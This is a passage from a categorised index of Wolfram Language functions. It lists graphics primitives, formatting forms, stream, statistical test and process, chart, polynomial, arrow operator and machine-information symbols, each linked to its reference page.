[Nearest](http://reference.wolfram.com/language/ref/Nearest.html), [NearestFunction](http://reference.wolfram.com/language/ref/NearestFunction.html), [NearestNeighborGraph](http://reference.wolfram.com/language/ref/NearestNeighborGraph.html), [NearestTo](http://reference.wolfram.com/language/ref/NearestTo.html), [NeedlemanWunschSimilarity](http://reference.wolfram.com/language/ref/NeedlemanWunschSimilarity.html), [NormalizedSquaredEuclideanDistance](http://reference.wolfram.com/language/ref/NormalizedSquaredEuclideanDistance.html), [RogersTanimotoDissimilarity](http://reference.wolfram.com/language/ref/RogersTanimotoDissimilarity.html), [RussellRaoDissimilarity](http://reference.wolfram.com/language/ref/RussellRaoDissimilarity.html), [SequenceAlignment](http://reference.wolfram.com/language/ref/SequenceAlignment.html), [SequenceCases](http://reference.wolfram.com/language/ref/SequenceCases.html), [SequenceCount](http://reference.wolfram.com/language/ref/SequenceCount.html), [SequencePosition](http://reference.wolfram.com/language/ref/SequencePosition.html), [SequenceReplace](http://reference.wolfram.com/language/ref/SequenceReplace.html), [SequenceSplit](http://reference.wolfram.com/language/ref/SequenceSplit.html), [SimilarityRules](http://reference.wolfram.com/language/ref/SimilarityRules.html), [SmithWatermanSimilarity](http://reference.wolfram.com/language/ref/SmithWatermanSimilarity.html), [SokalSneathDissimilarity](http://reference.wolfram.com/language/ref/SokalSneathDissimilarity.html), [SquaredEuclideanDistance](http://reference.wolfram.com/language/ref/SquaredEuclideanDistance.html), [WarpingCorrespondence](http://reference.wolfram.com/language/ref/WarpingCorrespondence.html), [WarpingDistance](http://reference.wolfram.com/language/ref/WarpingDistance.html), [YuleDissimilarity](http://reference.wolfram.com/language/ref/YuleDissimilarity.html)
### Graphics Primitive (51)
[AASTriangle](http://reference.wolfram.com/language/ref/AASTriangle.html), [AffineHalfSpace](http://reference.wolfram.com/language/ref/AffineHalfSpace.html), [AffineSpace](http://reference.wolfram.com/language/ref/AffineSpace.html), [Annulus](http://reference.wolfram.com/language/ref/Annulus.html), [Arrow](http://reference.wolfram.com/language/ref/Arrow.html), [ASATriangle](http://reference.wolfram.com/language/ref/ASATriangle.html), [Ball](http://reference.wolfram.com/language/ref/Ball.html), [BezierCurve](http://reference.wolfram.com/language/ref/BezierCurve.html), [BSplineCurve](http://reference.wolfram.com/language/ref/BSplineCurve.html), [CapsuleShape](http://reference.wolfram.com/language/ref/CapsuleShape.html), [Circle](http://reference.wolfram.com/language/ref/Circle.html), [Circumsphere](http://reference.wolfram.com/language/ref/Circumsphere.html), [Cone](http://reference.wolfram.com/language/ref/Cone.html), [ConicHullRegion](http://reference.wolfram.com/language/ref/ConicHullRegion.html), [Cube](http://reference.wolfram.com/language/ref/Cube.html), [Cuboid](http://reference.wolfram.com/language/ref/Cuboid.html), [Cylinder](http://reference.wolfram.com/language/ref/Cylinder.html), [DiskSegment](http://reference.wolfram.com/language/ref/DiskSegment.html), [Dodecahedron](http://reference.wolfram.com/language/ref/Dodecahedron.html), [Ellipsoid](http://reference.wolfram.com/language/ref/Ellipsoid.html), [EmptyRegion](http://reference.wolfram.com/language/ref/EmptyRegion.html), [FilledCurve](http://reference.wolfram.com/language/ref/FilledCurve.html), [FullRegion](http://reference.wolfram.com/language/ref/FullRegion.html), [GraphicsComplex](http://reference.wolfram.com/language/ref/GraphicsComplex.html), [HalfLine](http://reference.wolfram.com/language/ref/HalfLine.html), [HalfPlane](http://reference.wolfram.com/language/ref/HalfPlane.html), [HalfSpace](http://reference.wolfram.com/language/ref/HalfSpace.html), [Hexahedron](http://reference.wolfram.com/language/ref/Hexahedron.html), [Hyperplane](http://reference.wolfram.com/language/ref/Hyperplane.html), [Icosahedron](http://reference.wolfram.com/language/ref/Icosahedron.html), [InfiniteLine](http://reference.wolfram.com/language/ref/InfiniteLine.html), [InfinitePlane](http://reference.wolfram.com/language/ref/InfinitePlane.html), [Insphere](http://reference.wolfram.com/language/ref/Insphere.html), [JoinedCurve](http://reference.wolfram.com/language/ref/JoinedCurve.html), [Octahedron](http://reference.wolfram.com/language/ref/Octahedron.html), [Parallelepiped](http://reference.wolfram.com/language/ref/Parallelepiped.html), [Parallelogram](http://reference.wolfram.com/language/ref/Parallelogram.html), [Polyhedron](http://reference.wolfram.com/language/ref/Polyhedron.html), [Prism](http://reference.wolfram.com/language/ref/Prism.html), [Rectangle](http://reference.wolfram.com/language/ref/Rectangle.html), [RegularPolygon](http://reference.wolfram.com/language/ref/RegularPolygon.html), [SASTriangle](http://reference.wolfram.com/language/ref/SASTriangle.html), [ShellRegion](http://reference.wolfram.com/language/ref/ShellRegion.html), [Simplex](http://reference.wolfram.com/language/ref/Simplex.html), [Sphere](http://reference.wolfram.com/language/ref/Sphere.html), [SphericalShell](http://reference.wolfram.com/language/ref/SphericalShell.html), [SSSTriangle](http://reference.wolfram.com/language/ref/SSSTriangle.html), [StadiumShape](http://reference.wolfram.com/language/ref/StadiumShape.html), [Tetrahedron](http://reference.wolfram.com/language/ref/Tetrahedron.html), [Triangle](http://reference.wolfram.com/language/ref/Triangle.html), [Tube](http://reference.wolfram.com/language/ref/Tube.html)
### Form (48)
[AccountingForm](http://reference.wolfram.com/language/ref/AccountingForm.html), [BaseForm](http://reference.wolfram.com/language/ref/BaseForm.html), [CapForm](http://reference.wolfram.com/language/ref/CapForm.html), [CForm](http://reference.wolfram.com/language/ref/CForm.html), [DecimalForm](http://reference.wolfram.com/language/ref/DecimalForm.html), [DefaultPrintPrecision](http://reference.wolfram.com/language/ref/DefaultPrintPrecision.html), [DigitBlock](http://reference.wolfram.com/language/ref/DigitBlock.html), [DisplayForm](http://reference.wolfram.com/language/ref/DisplayForm.html), [EdgeForm](http://reference.wolfram.com/language/ref/EdgeForm.html), [EngineeringForm](http://reference.wolfram.com/language/ref/EngineeringForm.html), [ExponentFunction](http://reference.wolfram.com/language/ref/ExponentFunction.html), [ExponentStep](http://reference.wolfram.com/language/ref/ExponentStep.html), [FaceForm](http://reference.wolfram.com/language/ref/FaceForm.html), [FormatType](http://reference.wolfram.com/language/ref/FormatType.html), [FortranForm](http://reference.wolfram.com/language/ref/FortranForm.html), [FullForm](http://reference.wolfram.com/language/ref/FullForm.html), [HoldForm](http://reference.wolfram.com/language/ref/HoldForm.html), [JoinForm](http://reference.wolfram.com/language/ref/JoinForm.html), [MathMLForm](http://reference.wolfram.com/language/ref/MathMLForm.html), [MatrixForm](http://reference.wolfram.com/language/ref/MatrixForm.html), [NumberForm](http://reference.wolfram.com/language/ref/NumberForm.html), [NumberFormat](http://reference.wolfram.com/language/ref/NumberFormat.html), [NumberMarks](http://reference.wolfram.com/language/ref/NumberMarks.html), [NumberMultiplier](http://reference.wolfram.com/language/ref/NumberMultiplier.html), [NumberPadding](http://reference.wolfram.com/language/ref/NumberPadding.html), [NumberPoint](http://reference.wolfram.com/language/ref/NumberPoint.html), [NumberSeparator](http://reference.wolfram.com/language/ref/NumberSeparator.html), [NumberSigns](http://reference.wolfram.com/language/ref/NumberSigns.html), [OutputForm](http://reference.wolfram.com/language/ref/OutputForm.html), [PaddedForm](http://reference.wolfram.com/language/ref/PaddedForm.html), [PercentForm](http://reference.wolfram.com/language/ref/PercentForm.html), [PrecedenceForm](http://reference.wolfram.com/language/ref/PrecedenceForm.html), [QuantityForm](http://reference.wolfram.com/language/ref/QuantityForm.html), [ScientificForm](http://reference.wolfram.com/language/ref/ScientificForm.html), [ScientificNotationThreshold](http://reference.wolfram.com/language/ref/ScientificNotationThreshold.html), [SignPadding](http://reference.wolfram.com/language/ref/SignPadding.html), [StandardForm](http://reference.wolfram.com/language/ref/StandardForm.html), [StringForm](http://reference.wolfram.com/language/ref/StringForm.html), [SyntaxForm](http://reference.wolfram.com/language/ref/SyntaxForm.html), [TableAlignments](http://reference.wolfram.com/language/ref/TableAlignments.html), [TableDepth](http://reference.wolfram.com/language/ref/TableDepth.html), [TableDirections](http://reference.wolfram.com/language/ref/TableDirections.html), [TableForm](http://reference.wolfram.com/language/ref/TableForm.html), [TableHeadings](http://reference.wolfram.com/language/ref/TableHeadings.html), [TableSpacing](http://reference.wolfram.com/language/ref/TableSpacing.html), [TeXForm](http://reference.wolfram.com/language/ref/TeXForm.html), [TraditionalForm](http://reference.wolfram.com/language/ref/TraditionalForm.html), [TreeForm](http://reference.wolfram.com/language/ref/TreeForm.html)
### Stream (44)
[AnchoredSearch](http://reference.wolfram.com/language/ref/AnchoredSearch.html), [BinaryFormat](http://reference.wolfram.com/language/ref/BinaryFormat.html), [Byte](http://reference.wolfram.com/language/ref/Byte.html), [Character](http://reference.wolfram.com/language/ref/Character.html), [Close](http://reference.wolfram.com/language/ref/Close.html), [DefineInputStreamMethod](http://reference.wolfram.com/language/ref/DefineInputStreamMethod.html), [DefineOutputStreamMethod](http://reference.wolfram.com/language/ref/DefineOutputStreamMethod.html), [EndOfBuffer](http://reference.wolfram.com/language/ref/EndOfBuffer.html), [EndOfFile](http://reference.wolfram.com/language/ref/EndOfFile.html), [Expression](http://reference.wolfram.com/language/ref/Expression.html), [Find](http://reference.wolfram.com/language/ref/Find.html), [FindList](http://reference.wolfram.com/language/ref/FindList.html), [InputStream](http://reference.wolfram.com/language/ref/InputStream.html), [NullRecords](http://reference.wolfram.com/language/ref/NullRecords.html), [NullWords](http://reference.wolfram.com/language/ref/NullWords.html), [Number](http://reference.wolfram.com/language/ref/Number.html), [OutputStream](http://reference.wolfram.com/language/ref/OutputStream.html), [Read](http://reference.wolfram.com/language/ref/Read.html), [ReadLine](http://reference.wolfram.com/language/ref/ReadLine.html), [ReadList](http://reference.wolfram.com/language/ref/ReadList.html), [ReadString](http://reference.wolfram.com/language/ref/ReadString.html), [Record](http://reference.wolfram.com/language/ref/Record.html), [RecordLists](http://reference.wolfram.com/language/ref/RecordLists.html), [RecordSeparators](http://reference.wolfram.com/language/ref/RecordSeparators.html), [RemoveInputStreamMethod](http://reference.wolfram.com/language/ref/RemoveInputStreamMethod.html), [RemoveOutputStreamMethod](http://reference.wolfram.com/language/ref/RemoveOutputStreamMethod.html), [SetStreamPosition](http://reference.wolfram.com/language/ref/SetStreamPosition.html), [Skip](http://reference.wolfram.com/language/ref/Skip.html), [Streams](http://reference.wolfram.com/language/ref/Streams.html), [StringToStream](http://reference.wolfram.com/language/ref/StringToStream.html), [TokenWords](http://reference.wolfram.com/language/ref/TokenWords.html), [TotalWidth](http://reference.wolfram.com/language/ref/TotalWidth.html), [Word](http://reference.wolfram.com/language/ref/Word.html), [WordSearch](http://reference.wolfram.com/language/ref/WordSearch.html), [WordSeparators](http://reference.wolfram.com/language/ref/WordSeparators.html), [Write](http://reference.wolfram.com/language/ref/Write.html), [WriteLine](http://reference.wolfram.com/language/ref/WriteLine.html), [$BatchInput](http://reference.wolfram.com/language/ref/%24BatchInput.html), [$BatchOutput](http://reference.wolfram.com/language/ref/%24BatchOutput.html), [$Echo](http://reference.wolfram.com/language/ref/%24Echo.html), [$Input](http://reference.wolfram.com/language/ref/%24Input.html), [$InputStreamMethods](http://reference.wolfram.com/language/ref/%24InputStreamMethods.html), [$Output](http://reference.wolfram.com/language/ref/%24Output.html), [$OutputStreamMethods](http://reference.wolfram.com/language/ref/%24OutputStreamMethods.html)
### Statistical Test (42)
[AndersonDarlingTest](http://reference.wolfram.com/language/ref/AndersonDarlingTest.html), [AutocorrelationTest](http://reference.wolfram.com/language/ref/AutocorrelationTest.html), [BaringhausHenzeTest](http://reference.wolfram.com/language/ref/BaringhausHenzeTest.html), [BlomqvistBetaTest](http://reference.wolfram.com/language/ref/BlomqvistBetaTest.html), [BrownForsytheTest](http://reference.wolfram.com/language/ref/BrownForsytheTest.html), [ConoverTest](http://reference.wolfram.com/language/ref/ConoverTest.html), [CorrelationTest](http://reference.wolfram.com/language/ref/CorrelationTest.html), [CramerVonMisesTest](http://reference.wolfram.com/language/ref/CramerVonMisesTest.html), [DistributionFitTest](http://reference.wolfram.com/language/ref/DistributionFitTest.html), [FisherRatioTest](http://reference.wolfram.com/language/ref/FisherRatioTest.html), [GoodmanKruskalGammaTest](http://reference.wolfram.com/language/ref/GoodmanKruskalGammaTest.html), [HoeffdingDTest](http://reference.wolfram.com/language/ref/HoeffdingDTest.html), [IndependenceTest](http://reference.wolfram.com/language/ref/IndependenceTest.html), [JarqueBeraALMTest](http://reference.wolfram.com/language/ref/JarqueBeraALMTest.html), [KendallTauTest](http://reference.wolfram.com/language/ref/KendallTauTest.html), [KolmogorovSmirnovTest](http://reference.wolfram.com/language/ref/KolmogorovSmirnovTest.html), [KuiperTest](http://reference.wolfram.com/language/ref/KuiperTest.html), [LeveneTest](http://reference.wolfram.com/language/ref/LeveneTest.html), [LocationEquivalenceTest](http://reference.wolfram.com/language/ref/LocationEquivalenceTest.html), [LocationTest](http://reference.wolfram.com/language/ref/LocationTest.html), [LogRankTest](http://reference.wolfram.com/language/ref/LogRankTest.html), [MannWhitneyTest](http://reference.wolfram.com/language/ref/MannWhitneyTest.html), [MardiaCombinedTest](http://reference.wolfram.com/language/ref/MardiaCombinedTest.html), [MardiaKurtosisTest](http://reference.wolfram.com/language/ref/MardiaKurtosisTest.html), [MardiaSkewnessTest](http://reference.wolfram.com/language/ref/MardiaSkewnessTest.html), [PairedTTest](http://reference.wolfram.com/language/ref/PairedTTest.html), [PairedZTest](http://reference.wolfram.com/language/ref/PairedZTest.html), [PearsonChiSquareTest](http://reference.wolfram.com/language/ref/PearsonChiSquareTest.html), [PearsonCorrelationTest](http://reference.wolfram.com/language/ref/PearsonCorrelationTest.html), [PillaiTraceTest](http://reference.wolfram.com/language/ref/PillaiTraceTest.html), [ShapiroWilkTest](http://reference.wolfram.com/language/ref/ShapiroWilkTest.html), [SiegelTukeyTest](http://reference.wolfram.com/language/ref/SiegelTukeyTest.html), [SignedRankTest](http://reference.wolfram.com/language/ref/SignedRankTest.html), [SignTest](http://reference.wolfram.com/language/ref/SignTest.html), [SpearmanRankTest](http://reference.wolfram.com/language/ref/SpearmanRankTest.html), [TTest](http://reference.wolfram.com/language/ref/TTest.html), [UnitRootTest](http://reference.wolfram.com/language/ref/UnitRootTest.html), [VarianceEquivalenceTest](http://reference.wolfram.com/language/ref/VarianceEquivalenceTest.html), [VarianceTest](http://reference.wolfram.com/language/ref/VarianceTest.html), [WatsonUSquareTest](http://reference.wolfram.com/language/ref/WatsonUSquareTest.html), [WilksWTest](http://reference.wolfram.com/language/ref/WilksWTest.html), [ZTest](http://reference.wolfram.com/language/ref/ZTest.html)
### Statistical Process (41)
[ARCHProcess](http://reference.wolfram.com/language/ref/ARCHProcess.html), [ARIMAProcess](http://reference.wolfram.com/language/ref/ARIMAProcess.html), [ARMAProcess](http://reference.wolfram.com/language/ref/ARMAProcess.html), [ARProcess](http://reference.wolfram.com/language/ref/ARProcess.html), [BernoulliProcess](http://reference.wolfram.com/language/ref/BernoulliProcess.html), [BinomialProcess](http://reference.wolfram.com/language/ref/BinomialProcess.html), [BrownianBridgeProcess](http://reference.wolfram.com/language/ref/BrownianBridgeProcess.html), [CompoundPoissonProcess](http://reference.wolfram.com/language/ref/CompoundPoissonProcess.html), [CompoundRenewalProcess](http://reference.wolfram.com/language/ref/CompoundRenewalProcess.html), [ContinuousMarkovProcess](http://reference.wolfram.com/language/ref/ContinuousMarkovProcess.html), [CoxIngersollRossProcess](http://reference.wolfram.com/language/ref/CoxIngersollRossProcess.html), [DiscreteMarkovProcess](http://reference.wolfram.com/language/ref/DiscreteMarkovProcess.html), [EstimatedProcess](http://reference.wolfram.com/language/ref/EstimatedProcess.html), [FARIMAProcess](http://reference.wolfram.com/language/ref/FARIMAProcess.html), [FindHiddenMarkovStates](http://reference.wolfram.com/language/ref/FindHiddenMarkovStates.html), [FindProcessParameters](http://reference.wolfram.com/language/ref/FindProcessParameters.html), [FractionalBrownianMotionProcess](http://reference.wolfram.com/language/ref/FractionalBrownianMotionProcess.html), [FractionalGaussianNoiseProcess](http://reference.wolfram.com/language/ref/FractionalGaussianNoiseProcess.html), [GARCHProcess](http://reference.wolfram.com/language/ref/GARCHProcess.html), [GeometricBrownianMotionProcess](http://reference.wolfram.com/language/ref/GeometricBrownianMotionProcess.html), [HiddenMarkovProcess](http://reference.wolfram.com/language/ref/HiddenMarkovProcess.html), [InhomogeneousPoissonProcess](http://reference.wolfram.com/language/ref/InhomogeneousPoissonProcess.html), [ItoProcess](http://reference.wolfram.com/language/ref/ItoProcess.html), [MAProcess](http://reference.wolfram.com/language/ref/MAProcess.html), [MarkovProcessProperties](http://reference.wolfram.com/language/ref/MarkovProcessProperties.html), [OrnsteinUhlenbeckProcess](http://reference.wolfram.com/language/ref/OrnsteinUhlenbeckProcess.html), [PoissonProcess](http://reference.wolfram.com/language/ref/PoissonProcess.html), [ProcessEstimator](http://reference.wolfram.com/language/ref/ProcessEstimator.html), [ProcessParameterAssumptions](http://reference.wolfram.com/language/ref/ProcessParameterAssumptions.html), [ProcessParameterQ](http://reference.wolfram.com/language/ref/ProcessParameterQ.html), [QueueingNetworkProcess](http://reference.wolfram.com/language/ref/QueueingNetworkProcess.html), [QueueingProcess](http://reference.wolfram.com/language/ref/QueueingProcess.html), [RandomWalkProcess](http://reference.wolfram.com/language/ref/RandomWalkProcess.html), [RenewalProcess](http://reference.wolfram.com/language/ref/RenewalProcess.html), [SARIMAProcess](http://reference.wolfram.com/language/ref/SARIMAProcess.html), [SARMAProcess](http://reference.wolfram.com/language/ref/SARMAProcess.html), [StratonovichProcess](http://reference.wolfram.com/language/ref/StratonovichProcess.html), [TelegraphProcess](http://reference.wolfram.com/language/ref/TelegraphProcess.html), [TransformedProcess](http://reference.wolfram.com/language/ref/TransformedProcess.html), [WhiteNoiseProcess](http://reference.wolfram.com/language/ref/WhiteNoiseProcess.html), [WienerProcess](http://reference.wolfram.com/language/ref/WienerProcess.html)
### Chart (39)
[BarChart](http://reference.wolfram.com/language/ref/BarChart.html), [BarChart3D](http://reference.wolfram.com/language/ref/BarChart3D.html), [BarOrigin](http://reference.wolfram.com/language/ref/BarOrigin.html), [BarSpacing](http://reference.wolfram.com/language/ref/BarSpacing.html), [BoxWhiskerChart](http://reference.wolfram.com/language/ref/BoxWhiskerChart.html), [BubbleChart](http://reference.wolfram.com/language/ref/BubbleChart.html), [BubbleChart3D](http://reference.wolfram.com/language/ref/BubbleChart3D.html), [BubbleScale](http://reference.wolfram.com/language/ref/BubbleScale.html), [BubbleSizes](http://reference.wolfram.com/language/ref/BubbleSizes.html), [CandlestickChart](http://reference.wolfram.com/language/ref/CandlestickChart.html), [ChartBaseStyle](http://reference.wolfram.com/language/ref/ChartBaseStyle.html), [ChartElementFunction](http://reference.wolfram.com/language/ref/ChartElementFunction.html), [ChartElements](http://reference.wolfram.com/language/ref/ChartElements.html), [ChartLabels](http://reference.wolfram.com/language/ref/ChartLabels.html), [ChartLayout](http://reference.wolfram.com/language/ref/ChartLayout.html), [ChartLegends](http://reference.wolfram.com/language/ref/ChartLegends.html), [ChartStyle](http://reference.wolfram.com/language/ref/ChartStyle.html), [DistributionChart](http://reference.wolfram.com/language/ref/DistributionChart.html), [EventLabels](http://reference.wolfram.com/language/ref/EventLabels.html), [InteractiveTradingChart](http://reference.wolfram.com/language/ref/InteractiveTradingChart.html), [KagiChart](http://reference.wolfram.com/language/ref/KagiChart.html), [LabelingFunction](http://reference.wolfram.com/language/ref/LabelingFunction.html), [LegendAppearance](http://reference.wolfram.com/language/ref/LegendAppearance.html), [LineBreakChart](http://reference.wolfram.com/language/ref/LineBreakChart.html), [PairedBarChart](http://reference.wolfram.com/language/ref/PairedBarChart.html), [PieChart](http://reference.wolfram.com/language/ref/PieChart.html), [PieChart3D](http://reference.wolfram.com/language/ref/PieChart3D.html), [Placed](http://reference.wolfram.com/language/ref/Placed.html), [PointFigureChart](http://reference.wolfram.com/language/ref/PointFigureChart.html), [RectangleChart](http://reference.wolfram.com/language/ref/RectangleChart.html), [RectangleChart3D](http://reference.wolfram.com/language/ref/RectangleChart3D.html), [RenkoChart](http://reference.wolfram.com/language/ref/RenkoChart.html), [ScalingFunctions](http://reference.wolfram.com/language/ref/ScalingFunctions.html), [SectorChart](http://reference.wolfram.com/language/ref/SectorChart.html), [SectorChart3D](http://reference.wolfram.com/language/ref/SectorChart3D.html), [SectorOrigin](http://reference.wolfram.com/language/ref/SectorOrigin.html), [SectorSpacing](http://reference.wolfram.com/language/ref/SectorSpacing.html), [TradingChart](http://reference.wolfram.com/language/ref/TradingChart.html), [TrendStyle](http://reference.wolfram.com/language/ref/TrendStyle.html)
### Polynomial (39)
[AugmentedSymmetricPolynomial](http://reference.wolfram.com/language/ref/AugmentedSymmetricPolynomial.html), [CoefficientArrays](http://reference.wolfram.com/language/ref/CoefficientArrays.html), [CoefficientList](http://reference.wolfram.com/language/ref/CoefficientList.html), [CoefficientRules](http://reference.wolfram.com/language/ref/CoefficientRules.html), [CountRoots](http://reference.wolfram.com/language/ref/CountRoots.html), [Decompose](http://reference.wolfram.com/language/ref/Decompose.html), [Discriminant](http://reference.wolfram.com/language/ref/Discriminant.html), [Exponent](http://reference.wolfram.com/language/ref/Exponent.html), [FactorList](http://reference.wolfram.com/language/ref/FactorList.html), [FactorSquareFree](http://reference.wolfram.com/language/ref/FactorSquareFree.html), [FactorSquareFreeList](http://reference.wolfram.com/language/ref/FactorSquareFreeList.html), [FactorTerms](http://reference.wolfram.com/language/ref/FactorTerms.html), [FactorTermsList](http://reference.wolfram.com/language/ref/FactorTermsList.html), [FromCoefficientRules](http://reference.wolfram.com/language/ref/FromCoefficientRules.html), [GroebnerBasis](http://reference.wolfram.com/language/ref/GroebnerBasis.html), [HornerForm](http://reference.wolfram.com/language/ref/HornerForm.html), [IrreduciblePolynomialQ](http://reference.wolfram.com/language/ref/IrreduciblePolynomialQ.html), [MonomialList](http://reference.wolfram.com/language/ref/MonomialList.html), [PolynomialExtendedGCD](http://reference.wolfram.com/language/ref/PolynomialExtendedGCD.html), [PolynomialGCD](http://reference.wolfram.com/language/ref/PolynomialGCD.html), [PolynomialLCM](http://reference.wolfram.com/language/ref/PolynomialLCM.html), [PolynomialMod](http://reference.wolfram.com/language/ref/PolynomialMod.html), [PolynomialQ](http://reference.wolfram.com/language/ref/PolynomialQ.html), [PolynomialQuotient](http://reference.wolfram.com/language/ref/PolynomialQuotient.html), [PolynomialQuotientRemainder](http://reference.wolfram.com/language/ref/PolynomialQuotientRemainder.html), [PolynomialReduce](http://reference.wolfram.com/language/ref/PolynomialReduce.html), [PolynomialRemainder](http://reference.wolfram.com/language/ref/PolynomialRemainder.html), [PowerSymmetricPolynomial](http://reference.wolfram.com/language/ref/PowerSymmetricPolynomial.html), [PrimitivePolynomialQ](http://reference.wolfram.com/language/ref/PrimitivePolynomialQ.html), [Resultant](http://reference.wolfram.com/language/ref/Resultant.html), [RootIntervals](http://reference.wolfram.com/language/ref/RootIntervals.html), [SquareFreeQ](http://reference.wolfram.com/language/ref/SquareFreeQ.html), [SubresultantPolynomialRemainders](http://reference.wolfram.com/language/ref/SubresultantPolynomialRemainders.html), [SubresultantPolynomials](http://reference.wolfram.com/language/ref/SubresultantPolynomials.html), [Subresultants](http://reference.wolfram.com/language/ref/Subresultants.html), [SymmetricPolynomial](http://reference.wolfram.com/language/ref/SymmetricPolynomial.html), [SymmetricReduction](http://reference.wolfram.com/language/ref/SymmetricReduction.html), [Trig](http://reference.wolfram.com/language/ref/Trig.html), [Variables](http://reference.wolfram.com/language/ref/Variables.html)
### Arrow Operator (38)
[DoubleDownArrow](http://reference.wolfram.com/language/ref/DoubleDownArrow.html), [DoubleLeftArrow](http://reference.wolfram.com/language/ref/DoubleLeftArrow.html), [DoubleLeftRightArrow](http://reference.wolfram.com/language/ref/DoubleLeftRightArrow.html), [DoubleLongLeftArrow](http://reference.wolfram.com/language/ref/DoubleLongLeftArrow.html), [DoubleLongLeftRightArrow](http://reference.wolfram.com/language/ref/DoubleLongLeftRightArrow.html), [DoubleLongRightArrow](http://reference.wolfram.com/language/ref/DoubleLongRightArrow.html), [DoubleRightArrow](http://reference.wolfram.com/language/ref/DoubleRightArrow.html), [DoubleUpArrow](http://reference.wolfram.com/language/ref/DoubleUpArrow.html), [DoubleUpDownArrow](http://reference.wolfram.com/language/ref/DoubleUpDownArrow.html), [DownArrow](http://reference.wolfram.com/language/ref/DownArrow.html), [DownArrowBar](http://reference.wolfram.com/language/ref/DownArrowBar.html), [DownArrowUpArrow](http://reference.wolfram.com/language/ref/DownArrowUpArrow.html), [DownTeeArrow](http://reference.wolfram.com/language/ref/DownTeeArrow.html), [LeftArrow](http://reference.wolfram.com/language/ref/LeftArrow.html), [LeftArrowBar](http://reference.wolfram.com/language/ref/LeftArrowBar.html), [LeftArrowRightArrow](http://reference.wolfram.com/language/ref/LeftArrowRightArrow.html), [LeftRightArrow](http://reference.wolfram.com/language/ref/LeftRightArrow.html), [LeftTeeArrow](http://reference.wolfram.com/language/ref/LeftTeeArrow.html), [LongLeftArrow](http://reference.wolfram.com/language/ref/LongLeftArrow.html), [LongLeftRightArrow](http://reference.wolfram.com/language/ref/LongLeftRightArrow.html), [LongRightArrow](http://reference.wolfram.com/language/ref/LongRightArrow.html), [LowerLeftArrow](http://reference.wolfram.com/language/ref/LowerLeftArrow.html), [LowerRightArrow](http://reference.wolfram.com/language/ref/LowerRightArrow.html), [RightArrow](http://reference.wolfram.com/language/ref/RightArrow.html), [RightArrowBar](http://reference.wolfram.com/language/ref/RightArrowBar.html), [RightArrowLeftArrow](http://reference.wolfram.com/language/ref/RightArrowLeftArrow.html), [RightTeeArrow](http://reference.wolfram.com/language/ref/RightTeeArrow.html), [ShortDownArrow](http://reference.wolfram.com/language/ref/ShortDownArrow.html), [ShortLeftArrow](http://reference.wolfram.com/language/ref/ShortLeftArrow.html), [ShortRightArrow](http://reference.wolfram.com/language/ref/ShortRightArrow.html), [ShortUpArrow](http://reference.wolfram.com/language/ref/ShortUpArrow.html), [UpArrow](http://reference.wolfram.com/language/ref/UpArrow.html), [UpArrowBar](http://reference.wolfram.com/language/ref/UpArrowBar.html), [UpArrowDownArrow](http://reference.wolfram.com/language/ref/UpArrowDownArrow.html), [UpDownArrow](http://reference.wolfram.com/language/ref/UpDownArrow.html), [UpperLeftArrow](http://reference.wolfram.com/language/ref/UpperLeftArrow.html), [UpperRightArrow](http://reference.wolfram.com/language/ref/UpperRightArrow.html), [UpTeeArrow](http://reference.wolfram.com/language/ref/UpTeeArrow.html)
### Machine (38)
[Environment](http://reference.wolfram.com/language/ref/Environment.html), [OperatingSystem](http://reference.wolfram.com/language/ref/OperatingSystem.html), [SystemInformation](http://reference.wolfram.com/language/ref/SystemInformation.html), [SystemInstall](http://reference.wolfram.com/language/ref/SystemInstall.html), [SystemProcessData](http://reference.wolfram.com/language/ref/SystemProcessData.html), [SystemProcesses](http://reference.wolfram.com/language/ref/SystemProcesses.html), [$ActivationKey](http://reference.wolfram.com/language/ref/%24ActivationKey.html), [$CommandLine](http://reference.wolfram.com/language/ref/%24CommandLine.html), [$CreationDate](http://reference.wolfram.com/language/ref/%24CreationDate.html), [$EvaluationEnvironment](http://reference.wolfram.com/language/ref/%24EvaluationEnvironment.html), [$GeoLocationCity](http://reference.wolfram.com/language/ref/%24GeoLocationCity.html), [$GeoLocationCountry](http://reference.wolfram.com/language/ref/%24GeoLocationCountry.html), [$GeoLocationSource](http://reference.wolfram.com/language/ref/%24GeoLocationSource.html), [$LicenseExpirationDate](http://reference.wolfram.com/language/ref/%24LicenseExpirationDate.html), [$LicenseID](http://reference.wolfram.com/language/ref/%24LicenseID.html), [$LicenseServer](http://reference.wolfram.com/language/ref/%24LicenseServer.html), [$MachineAddresses](http://reference.wolfram.com/language/ref/%24MachineAddresses.html), [$MachineDomains](http://reference.wolfram.com/language/ref/%24MachineDomains.html), [$MachineID](http://reference.wolfram.com/language/ref/%24MachineID.html), [$MachineName](http://reference.wolfram.com/language/ref/%24MachineName.html), [$MachineType](http://reference.wolfram.com/language/ref/%24MachineType.html), [$NetworkConnected](http://reference.wolfram.com/language/ref/%24NetworkConnected.html), [$OperatingSystem](http://reference.wolfram.com/language/ref/%24OperatingSystem.html), [$ParentProcessID](http://reference.wolfram.com/language/ref/%24ParentProcessID.html), [$PathnameSeparator](http://reference.wolfram.com/language/ref/%24PathnameSeparator.html), [$ProcessID](http://reference.wolfram.com/language/ref/%24ProcessID.html), [$ProcessorCount](http://reference.wolfram.com/language/ref/%24ProcessorCount.html), [$ProcessorType](http://reference.wolfram.com/language/ref/%24ProcessorType.html), [$ReleaseNumber](http://reference.wolfram.com/language/ref/%24ReleaseNumber.html), [$SessionID](http://reference.wolfram.com/language/ref/%24SessionID.html), [$System](http://reference.wolfram.com/language/ref/%24System.html), [$SystemCharacterEncoding](http://reference.wolfram.com/language/ref/%24SystemCharacterEncoding.html), [$SystemID](http://reference.wolfram.com/language/ref/%24SystemID.html), [$SystemShell](http://reference.wolfram.com/language/ref/%24SystemShell.html), [$SystemWordLength](http://reference.wolfram.com/language/ref/%24SystemWordLength.html), [$Username](http://reference.wolfram.com/language/ref/%24Username.html), [$Version](http://reference.wolfram.com/language/ref/%24Version.html), [$VersionNumber](http://reference.wolfram.com/language/ref/%24VersionNumber.html)
### (36)
